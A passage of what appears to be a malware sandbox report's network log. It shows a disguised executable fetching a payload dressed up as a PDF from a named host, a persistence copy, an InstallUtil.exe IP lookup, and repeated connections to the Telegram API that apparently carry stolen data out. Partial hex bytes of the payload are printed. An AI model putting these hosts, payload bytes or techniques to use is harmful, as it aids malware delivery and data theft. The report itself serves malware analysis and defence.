Nov 15, 2024 09:11:52.397978067 CET	49988	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:52.398159027 CET	49988	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:52.398164034 CET	443	49988	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:52.675622940 CET	443	49988	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:52.675817013 CET	49988	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:52.675826073 CET	443	49988	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:52.675880909 CET	49988	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:52.676858902 CET	49988	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:52.676896095 CET	443	49988	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:52.677032948 CET	49988	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:54.264870882 CET	49989	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:54.264929056 CET	443	49989	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:54.265002966 CET	49989	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:54.265574932 CET	49989	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:54.265584946 CET	443	49989	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:55.093564987 CET	443	49989	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:55.093755960 CET	49989	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:55.095647097 CET	49989	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:55.095668077 CET	443	49989	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:55.096059084 CET	443	49989	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:55.096138954 CET	49989	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:55.096508980 CET	49989	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:55.096676111 CET	49989	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:55.096683979 CET	443	49989	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:55.371458054 CET	443	49989	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:55.371537924 CET	49989	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:55.371556997 CET	443	49989	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:55.371594906 CET	49989	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:55.371824026 CET	49989	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:55.371861935 CET	443	49989	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:55.371978045 CET	49989	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:56.950254917 CET	49990	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:56.950297117 CET	443	49990	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:56.950443029 CET	49990	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:56.951061010 CET	49990	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:56.951069117 CET	443	49990	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:57.783464909 CET	443	49990	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:57.783548117 CET	49990	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:57.785320997 CET	49990	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:57.785332918 CET	443	49990	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:57.785732985 CET	443	49990	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:57.785784960 CET	49990	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:57.786276102 CET	49990	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:57.786276102 CET	49990	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:57.786288023 CET	443	49990	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:58.071715117 CET	443	49990	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:58.071841002 CET	49990	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:58.071857929 CET	443	49990	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:58.071909904 CET	49990	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:58.072355032 CET	49990	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:58.072395086 CET	443	49990	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:58.072535992 CET	49990	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:59.653194904 CET	49991	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:59.653244972 CET	443	49991	149.154.167.220	192.168.2.10
Nov 15, 2024 09:11:59.653309107 CET	49991	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:59.653606892 CET	49991	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:11:59.653615952 CET	443	49991	149.154.167.220	192.168.2.10
Nov 15, 2024 09:12:00.499460936 CET	443	49991	149.154.167.220	192.168.2.10
Nov 15, 2024 09:12:00.499613047 CET	49991	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:12:00.501179934 CET	49991	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:12:00.501192093 CET	443	49991	149.154.167.220	192.168.2.10
Nov 15, 2024 09:12:00.501517057 CET	443	49991	149.154.167.220	192.168.2.10
Nov 15, 2024 09:12:00.501605034 CET	49991	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:12:00.501952887 CET	49991	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:12:00.502033949 CET	49991	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:12:00.502039909 CET	443	49991	149.154.167.220	192.168.2.10
Nov 15, 2024 09:12:00.829785109 CET	443	49991	149.154.167.220	192.168.2.10
Nov 15, 2024 09:12:00.829879045 CET	49991	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:12:00.829914093 CET	443	49991	149.154.167.220	192.168.2.10
Nov 15, 2024 09:12:00.829963923 CET	49991	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:12:00.830362082 CET	49991	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:12:00.830419064 CET	443	49991	149.154.167.220	192.168.2.10
Nov 15, 2024 09:12:00.830482960 CET	49991	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:12:02.421459913 CET	49992	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:12:02.421551943 CET	443	49992	149.154.167.220	192.168.2.10
Nov 15, 2024 09:12:02.421901941 CET	49992	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:12:02.421901941 CET	49992	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:12:02.421976089 CET	443	49992	149.154.167.220	192.168.2.10
Nov 15, 2024 09:12:03.253509045 CET	443	49992	149.154.167.220	192.168.2.10
Nov 15, 2024 09:12:03.253721952 CET	49992	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:12:03.356266975 CET	49992	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:12:03.356308937 CET	443	49992	149.154.167.220	192.168.2.10
Nov 15, 2024 09:12:03.356602907 CET	443	49992	149.154.167.220	192.168.2.10
Nov 15, 2024 09:12:03.361185074 CET	49992	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:12:03.364490032 CET	49992	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:12:03.364573002 CET	49992	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:12:03.364586115 CET	443	49992	149.154.167.220	192.168.2.10
Nov 15, 2024 09:12:03.965877056 CET	443	49992	149.154.167.220	192.168.2.10
Nov 15, 2024 09:12:03.965949059 CET	443	49992	149.154.167.220	192.168.2.10
Nov 15, 2024 09:12:03.965980053 CET	49992	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:12:03.966026068 CET	49992	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:12:03.966406107 CET	49992	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:12:03.966450930 CET	443	49992	149.154.167.220	192.168.2.10
Nov 15, 2024 09:12:05.541836977 CET	49993	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:12:05.541949034 CET	443	49993	149.154.167.220	192.168.2.10
Nov 15, 2024 09:12:05.542033911 CET	49993	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:12:05.542376995 CET	49993	443	192.168.2.10	149.154.167.220
Nov 15, 2024 09:12:05.542402029 CET	443	49993	149.154.167.220	192.168.2.10
Nov 15, 2024 09:12:06.382749081 CET	443	49993	149.154.167.220	192.168.2.10
Nov 15, 2024 09:12:06.382869959 CET	49993	443	192.168.2.10	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 15, 2024 09:10:00.976428986 CET	64871	53	192.168.2.10	1.1.1.1
Nov 15, 2024 09:10:01.154700041 CET	53	64871	1.1.1.1	192.168.2.10
Nov 15, 2024 09:10:21.071594000 CET	50643	53	192.168.2.10	1.1.1.1
Nov 15, 2024 09:10:21.233859062 CET	53	50643	1.1.1.1	192.168.2.10
Nov 15, 2024 09:11:22.850522041 CET	55558	53	192.168.2.10	1.1.1.1
Nov 15, 2024 09:11:22.857702971 CET	53	55558	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 15, 2024 09:10:00.976428986 CET	192.168.2.10	1.1.1.1	0x736	Standard query (0)	nexoproducciones.cl	A (IP address)	IN (0x0001)	false
Nov 15, 2024 09:10:21.071594000 CET	192.168.2.10	1.1.1.1	0x6471	Standard query (0)	showip.net	A (IP address)	IN (0x0001)	false
Nov 15, 2024 09:11:22.850522041 CET	192.168.2.10	1.1.1.1	0x3088	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 15, 2024 09:10:01.154700041 CET	1.1.1.1	192.168.2.10	0x736	No error (0)	nexoproducciones.cl	190.107.177.80	A (IP address)	IN (0x0001)	false
Nov 15, 2024 09:10:21.233859062 CET	1.1.1.1	192.168.2.10	0x6471	No error (0)	showip.net	162.55.60.2	A (IP address)	IN (0x0001)	false
Nov 15, 2024 09:11:22.857702971 CET	1.1.1.1	192.168.2.10	0x3088	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.telegram.org

nexoproducciones.cl

showip.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49705	190.107.177.80	80	7548	C:\Users\user\Desktop\Lista de cotizaciones.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 09:10:01.223242998 CET	79	OUT	GET /Fhpnud.pdf HTTP/1.1 Host: nexoproducciones.cl Connection: Keep-Alive
Nov 15, 2024 09:10:02.096091986 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 15 Nov 2024 08:10:03 GMT Content-Type: application/pdf Content-Length: 2304000 Last-Modified: Thu, 14 Nov 2024 19:06:19 GMT Accept-Ranges: bytes Cache-Control: max-age=2592000, public Expires: Sun, 15 Dec 2024 08:10:03 GMT Vary: Accept-Encoding Data Raw: 34 44 35 41 39 30 30 30 30 33 30 30 30 30 30 30 30 34 30 30 30 30 30 30 46 46 46 46 30 30 30 30 42 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 38 30 30 30 30 30 30 30 30 45 31 46 42 41 30 45 30 30 42 34 30 39 43 44 32 31 42 38 30 31 34 43 43 44 32 31 35 34 36 38 36 39 37 33 32 30 37 30 37 32 36 46 36 37 37 32 36 31 36 44 32 30 36 33 36 31 36 45 36 45 36 46 37 34 32 30 36 32 36 35 32 30 37 32 37 35 36 45 32 30 36 39 36 45 32 30 34 34 34 46 35 33 32 30 36 44 36 46 36 34 36 35 32 45 30 44 30 44 30 41 32 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 35 30 34 35 30 30 30 30 34 43 30 31 30 33 30 30 32 30 46 38 45 32 44 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 45 30 30 30 30 45 32 31 30 42 30 31 33 30 30 30 30 30 38 43 31 31 30 30 30 30 30 36 30 30 30 30 30 30 30 30 30 30 30 30 39 45 [TRUNCATED] Data Ascii: 4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C01030020F8E2D40000000000000000E0000E210B013000008C110000060000000000009EAA11000020000000C01100000040000020000000020000040000000000000004000000000000000000120000020000000000000300408500001000001000000000100000100000000000000F000000000000000000000050AA11004B00000000C01100340300000000000000000000000000000000000000E011000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000A48A110000200000008C110000020000000000000000000000000000200000602E727372630000003403000000C0110000040000008E1100000000000000000000000000400000C02E72656C6F6300000C00000000
Nov 15, 2024 09:10:02.096131086 CET	112	IN	Data Raw: 45 30 31 31 30 30 30 30 30 32 30 30 30 30 30 30 39 32 31 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 34 32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 Data Ascii: E011000002000000921100000000000000000000000000400000420000000000000000000000000000000080AA1100000000004800000002
Nov 15, 2024 09:10:02.096435070 CET	1236	IN	Data Raw: 30 30 30 35 30 30 41 43 45 35 30 31 30 30 33 38 39 39 30 32 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 45 34 37 45 30 34 30 30 45 32 32 38 30 44 30 30 43 41 41 39 31 31 30 30 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 Data Ascii: 000500ACE50100389902000100000000000000E47E0400E2280D00CAA9110080000000000000000000000000000000000000000000000000000000000000000000000013300300B10000000100001128A60200062004000000FE0E00003800000000FE0C0000450500000005000000290000002A0000005D000
Nov 15, 2024 09:10:02.096482992 CET	212	IN	Data Raw: 30 32 30 30 30 34 37 42 33 33 30 32 30 30 30 34 33 41 43 42 46 46 46 46 46 46 32 36 32 30 30 30 30 30 30 30 30 30 33 38 43 30 46 46 46 46 46 46 37 45 41 30 30 32 30 30 30 34 32 38 35 42 30 37 30 30 30 36 32 30 30 30 30 30 30 30 30 30 37 45 32 43 Data Ascii: 0200047B330200043ACBFFFFFF26200000000038C0FFFFFF7EA0020004285B07000620000000007E2C0200047B980200043AA2FFFFFF2620020000003897FFFFFF120000172A000000120000142A000000120000142A000000120000002A000000120000142A00000012
Nov 15, 2024 09:10:02.096518993 CET	1236	IN	Data Raw: 30 30 30 30 30 30 32 41 30 30 30 30 30 30 30 33 33 30 30 38 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 30 31 31 43 30 30 30 30 30 32 30 30 30 30 30 34 37 43 37 43 30 34 36 39 30 30 30 30 30 30 30 30 30 30 30 30 Data Ascii: 0000002A0000000330080004000000000000000000002A011C0000020000047C7C046900000000000033024D8002391700000113300300800000000100001128A60200062001000000FE0E00003800000000FE0C00004503000000050000002E0000005700000038000000007EA0020004285B0700062002000
Nov 15, 2024 09:10:02.096565008 CET	1236	IN	Data Raw: 30 30 30 30 30 30 37 45 32 43 30 32 30 30 30 34 37 42 35 35 30 32 30 30 30 34 33 41 41 32 46 46 46 46 46 46 32 36 32 30 30 32 30 30 30 30 30 30 33 38 39 37 46 46 46 46 46 46 31 32 30 30 30 30 31 37 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 Data Ascii: 0000007E2C0200047B550200043AA2FFFFFF2620020000003897FFFFFF120000172A000000120000142A0000001330060004000000000000000000142A13300300800000000100001128A60200062001000000FE0E00003800000000FE0C00004503000000060000002F0000000500000038010000002A7EA00
Nov 15, 2024 09:10:02.096601963 CET	1236	IN	Data Raw: 30 30 30 34 37 42 37 41 30 32 30 30 30 34 36 31 37 45 44 39 30 32 30 30 30 34 32 38 33 46 30 38 30 30 30 36 32 30 35 45 38 43 38 39 45 43 32 30 42 42 42 32 44 43 43 33 36 31 37 45 32 43 30 32 30 30 30 34 37 42 33 42 30 32 30 30 30 34 36 31 37 45 Data Ascii: 00047B7A020004617ED9020004283F080006205E8C89EC20BBB2DCC3617E2C0200047B3B020004617ED9020004283F080006280400002B80480000042010000000384CFEFFFF206CBE669920BBFEDCDA617E2C0200047B6A020004617ED9020004283F08000620190684326620B0D383C9617E2C0200047B3C0
Nov 15, 2024 09:10:02.096637964 CET	636	IN	Data Raw: 30 32 30 30 30 34 32 38 33 46 30 38 30 30 30 36 32 38 30 41 30 30 30 30 32 42 38 30 33 42 30 30 30 30 30 34 32 30 30 36 30 30 30 30 30 30 37 45 32 43 30 32 30 30 30 34 37 42 34 44 30 32 30 30 30 34 33 41 30 32 46 43 46 46 46 46 32 36 32 30 30 34 Data Ascii: 020004283F080006280A00002B803B00000420060000007E2C0200047B4D0200043A02FCFFFF26200400000038F7FBFFFF7E9E020004285307000620210000007E2C0200047B880200043AD9FBFFFF26201100000038CEFBFFFF20BA91865E20BC06D80F617E2C0200047B9B020004617ED9020004283F08000
Nov 15, 2024 09:10:02.096676111 CET	1236	IN	Data Raw: 32 30 45 45 38 34 38 45 42 39 36 31 37 45 32 43 30 32 30 30 30 34 37 42 33 43 30 32 30 30 30 34 36 31 37 45 44 39 30 32 30 30 30 34 32 38 33 46 30 38 30 30 30 36 32 30 35 34 33 35 31 46 44 37 32 30 30 33 30 30 30 30 30 30 36 32 32 30 45 42 37 42 Data Ascii: 20EE848EB9617E2C0200047B3C020004617ED9020004283F0800062054351FD720030000006220EB7B71AC617E2C0200047B36020004617ED9020004283F080006280D00002B804A000004201A0000007E2C0200047B8C0200043A8BFAFFFF2620260000003880FAFFFF201D6D756320260BD262617E2C02000
Nov 15, 2024 09:10:02.096712112 CET	212	IN	Data Raw: 37 42 33 42 30 32 30 30 30 34 33 41 37 36 46 38 46 46 46 46 32 36 32 30 30 31 30 30 30 30 30 30 33 38 36 42 46 38 46 46 46 46 32 30 34 30 42 33 43 38 43 31 32 30 46 46 42 37 39 44 45 45 36 31 37 45 32 43 30 32 30 30 30 34 37 42 38 35 30 32 30 30 Data Ascii: 7B3B0200043A76F8FFFF262001000000386BF8FFFF2040B3C8C120FFB79DEE617E2C0200047B85020004617ED9020004283F0800062099049FC020B94388E7617E2C0200047B69020004617ED9020004283F080006281300002B8034000004201E0000003817F8FFFF20
Nov 15, 2024 09:10:02.101227999 CET	1236	IN	Data Raw: 31 39 42 35 31 33 43 41 32 30 33 35 33 34 46 36 41 42 36 31 37 45 32 43 30 32 30 30 30 34 37 42 38 38 30 32 30 30 30 34 36 31 37 45 44 39 30 32 30 30 30 34 32 38 33 46 30 38 30 30 30 36 32 30 30 32 34 35 30 31 39 46 32 30 45 37 32 37 41 32 46 44 Data Ascii: 19B513CA203534F6AB617E2C0200047B88020004617ED9020004283F080006200245019F20E727A2FD617E2C0200047B4F020004617ED9020004283F080006281400002B804C000004201300000038C3F7FFFF20CE3B36A020EC22B1D3617E2C0200047B67020004617ED9020004283F08000620FFE416E520C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49795	190.107.177.80	80	5976	C:\Users\user\AppData\Roaming\Method.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 09:10:19.140084982 CET	79	OUT	GET /Fhpnud.pdf HTTP/1.1 Host: nexoproducciones.cl Connection: Keep-Alive
Nov 15, 2024 09:10:19.991384029 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 15 Nov 2024 08:10:21 GMT Content-Type: application/pdf Content-Length: 2304000 Last-Modified: Thu, 14 Nov 2024 19:06:19 GMT Accept-Ranges: bytes Cache-Control: max-age=2592000, public Expires: Sun, 15 Dec 2024 08:10:21 GMT Vary: Accept-Encoding Data Raw: 34 44 35 41 39 30 30 30 30 33 30 30 30 30 30 30 30 34 30 30 30 30 30 30 46 46 46 46 30 30 30 30 42 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 38 30 30 30 30 30 30 30 30 45 31 46 42 41 30 45 30 30 42 34 30 39 43 44 32 31 42 38 30 31 34 43 43 44 32 31 35 34 36 38 36 39 37 33 32 30 37 30 37 32 36 46 36 37 37 32 36 31 36 44 32 30 36 33 36 31 36 45 36 45 36 46 37 34 32 30 36 32 36 35 32 30 37 32 37 35 36 45 32 30 36 39 36 45 32 30 34 34 34 46 35 33 32 30 36 44 36 46 36 34 36 35 32 45 30 44 30 44 30 41 32 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 35 30 34 35 30 30 30 30 34 43 30 31 30 33 30 30 32 30 46 38 45 32 44 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 45 30 30 30 30 45 32 31 30 42 30 31 33 30 30 30 30 30 38 43 31 31 30 30 30 30 30 36 30 30 30 30 30 30 30 30 30 30 30 30 39 45 [TRUNCATED] Data Ascii: 4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C01030020F8E2D40000000000000000E0000E210B013000008C110000060000000000009EAA11000020000000C01100000040000020000000020000040000000000000004000000000000000000120000020000000000000300408500001000001000000000100000100000000000000F000000000000000000000050AA11004B00000000C01100340300000000000000000000000000000000000000E011000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000A48A110000200000008C110000020000000000000000000000000000200000602E727372630000003403000000C0110000040000008E1100000000000000000000000000400000C02E72656C6F6300000C00000000
Nov 15, 2024 09:10:19.991425037 CET	112	IN	Data Raw: 45 30 31 31 30 30 30 30 30 32 30 30 30 30 30 30 39 32 31 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 34 32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 Data Ascii: E011000002000000921100000000000000000000000000400000420000000000000000000000000000000080AA1100000000004800000002
Nov 15, 2024 09:10:19.991481066 CET	1236	IN	Data Raw: 30 30 30 35 30 30 41 43 45 35 30 31 30 30 33 38 39 39 30 32 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 45 34 37 45 30 34 30 30 45 32 32 38 30 44 30 30 43 41 41 39 31 31 30 30 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 Data Ascii: 000500ACE50100389902000100000000000000E47E0400E2280D00CAA9110080000000000000000000000000000000000000000000000000000000000000000000000013300300B10000000100001128A60200062004000000FE0E00003800000000FE0C0000450500000005000000290000002A0000005D000
Nov 15, 2024 09:10:19.991518021 CET	1236	IN	Data Raw: 30 32 30 30 30 34 37 42 33 33 30 32 30 30 30 34 33 41 43 42 46 46 46 46 46 46 32 36 32 30 30 30 30 30 30 30 30 30 33 38 43 30 46 46 46 46 46 46 37 45 41 30 30 32 30 30 30 34 32 38 35 42 30 37 30 30 30 36 32 30 30 30 30 30 30 30 30 30 37 45 32 43 Data Ascii: 0200047B330200043ACBFFFFFF26200000000038C0FFFFFF7EA0020004285B07000620000000007E2C0200047B980200043AA2FFFFFF2620020000003897FFFFFF120000172A000000120000142A000000120000142A000000120000002A000000120000142A000000120000002A00000003300800040000000
Nov 15, 2024 09:10:19.991569042 CET	424	IN	Data Raw: 30 30 30 30 30 30 30 31 30 30 30 30 31 31 32 38 41 36 30 32 30 30 30 36 32 30 30 31 30 30 30 30 30 30 46 45 30 45 30 30 30 30 33 38 30 30 30 30 30 30 30 30 46 45 30 43 30 30 30 30 34 35 30 33 30 30 30 30 30 30 32 46 30 30 30 30 30 30 30 35 30 30 Data Ascii: 0000000100001128A60200062001000000FE0E00003800000000FE0C000045030000002F000000050000002E000000382A0000007E9F020004285707000620000000007E2C0200047B970200043ACCFFFFFF26200000000038C1FFFFFF2A7EA0020004285B07000620020000007E2C0200047B550200043AA2F
Nov 15, 2024 09:10:19.991605997 CET	1236	IN	Data Raw: 30 30 30 30 30 30 30 35 30 30 30 30 30 30 33 38 30 31 30 30 30 30 30 30 32 41 37 45 41 30 30 32 30 30 30 34 32 38 35 42 30 37 30 30 30 36 32 30 30 32 30 30 30 30 30 30 37 45 32 43 30 32 30 30 30 34 37 42 36 31 30 32 30 30 30 34 33 41 43 42 46 46 Data Ascii: 0000000500000038010000002A7EA0020004285B07000620020000007E2C0200047B610200043ACBFFFFFF26200200000038C0FFFFFF7E9F020004285707000620000000007E2C0200047B4C0200043AA2FFFFFF2620000000003897FFFFFF120000172A000000120000142A000000133004007C0F000001000
Nov 15, 2024 09:10:19.991640091 CET	1236	IN	Data Raw: 33 32 36 36 32 30 42 30 44 33 38 33 43 39 36 31 37 45 32 43 30 32 30 30 30 34 37 42 33 43 30 32 30 30 30 34 36 31 37 45 44 39 30 32 30 30 30 34 32 38 33 46 30 38 30 30 30 36 32 38 30 35 30 30 30 30 32 42 38 30 34 34 30 30 30 30 30 34 32 30 31 31 Data Ascii: 326620B0D383C9617E2C0200047B3C020004617ED9020004283F080006280500002B804400000420110000007E2C0200047B9002000439EDFDFFFF26201D00000038E2FDFFFF20C6C75E43203E15DBE758207983157B617E2C0200047B48020004617ED9020004283F08000620BA91865E2071BAF510617E2C0
Nov 15, 2024 09:10:19.991673946 CET	424	IN	Data Raw: 37 42 39 42 30 32 30 30 30 34 36 31 37 45 44 39 30 32 30 30 30 34 32 38 33 46 30 38 30 30 30 36 32 30 34 39 46 35 45 33 39 42 32 30 37 39 44 36 39 33 43 32 36 31 37 45 32 43 30 32 30 30 30 34 37 42 32 46 30 32 30 30 30 34 36 31 37 45 44 39 30 32 Data Ascii: 7B9B020004617ED9020004283F0800062049F5E39B2079D693C2617E2C0200047B2F020004617ED9020004283F080006280B00002B803000000420000000007E2C0200047B7F0200043970FBFFFF2620000000003865FBFFFF20F2FBF20C20050000006220BDD837F8617E2C0200047B34020004617ED902000
Nov 15, 2024 09:10:19.991708040 CET	1236	IN	Data Raw: 32 30 45 45 38 34 38 45 42 39 36 31 37 45 32 43 30 32 30 30 30 34 37 42 33 43 30 32 30 30 30 34 36 31 37 45 44 39 30 32 30 30 30 34 32 38 33 46 30 38 30 30 30 36 32 30 35 34 33 35 31 46 44 37 32 30 30 33 30 30 30 30 30 30 36 32 32 30 45 42 37 42 Data Ascii: 20EE848EB9617E2C0200047B3C020004617ED9020004283F0800062054351FD720030000006220EB7B71AC617E2C0200047B36020004617ED9020004283F080006280D00002B804A000004201A0000007E2C0200047B8C0200043A8BFAFFFF2620260000003880FAFFFF201D6D756320260BD262617E2C02000
Nov 15, 2024 09:10:19.991741896 CET	212	IN	Data Raw: 37 42 33 42 30 32 30 30 30 34 33 41 37 36 46 38 46 46 46 46 32 36 32 30 30 31 30 30 30 30 30 30 33 38 36 42 46 38 46 46 46 46 32 30 34 30 42 33 43 38 43 31 32 30 46 46 42 37 39 44 45 45 36 31 37 45 32 43 30 32 30 30 30 34 37 42 38 35 30 32 30 30 Data Ascii: 7B3B0200043A76F8FFFF262001000000386BF8FFFF2040B3C8C120FFB79DEE617E2C0200047B85020004617ED9020004283F0800062099049FC020B94388E7617E2C0200047B69020004617ED9020004283F080006281300002B8034000004201E0000003817F8FFFF20
Nov 15, 2024 09:10:19.996772051 CET	1236	IN	Data Raw: 31 39 42 35 31 33 43 41 32 30 33 35 33 34 46 36 41 42 36 31 37 45 32 43 30 32 30 30 30 34 37 42 38 38 30 32 30 30 30 34 36 31 37 45 44 39 30 32 30 30 30 34 32 38 33 46 30 38 30 30 30 36 32 30 30 32 34 35 30 31 39 46 32 30 45 37 32 37 41 32 46 44 Data Ascii: 19B513CA203534F6AB617E2C0200047B88020004617ED9020004283F080006200245019F20E727A2FD617E2C0200047B4F020004617ED9020004283F080006281400002B804C000004201300000038C3F7FFFF20CE3B36A020EC22B1D3617E2C0200047B67020004617ED9020004283F08000620FFE416E520C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49806	162.55.60.2	80	8124	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 09:10:21.246341944 CET	58	OUT	GET / HTTP/1.1 User-Agent: Project1 Host: showip.net
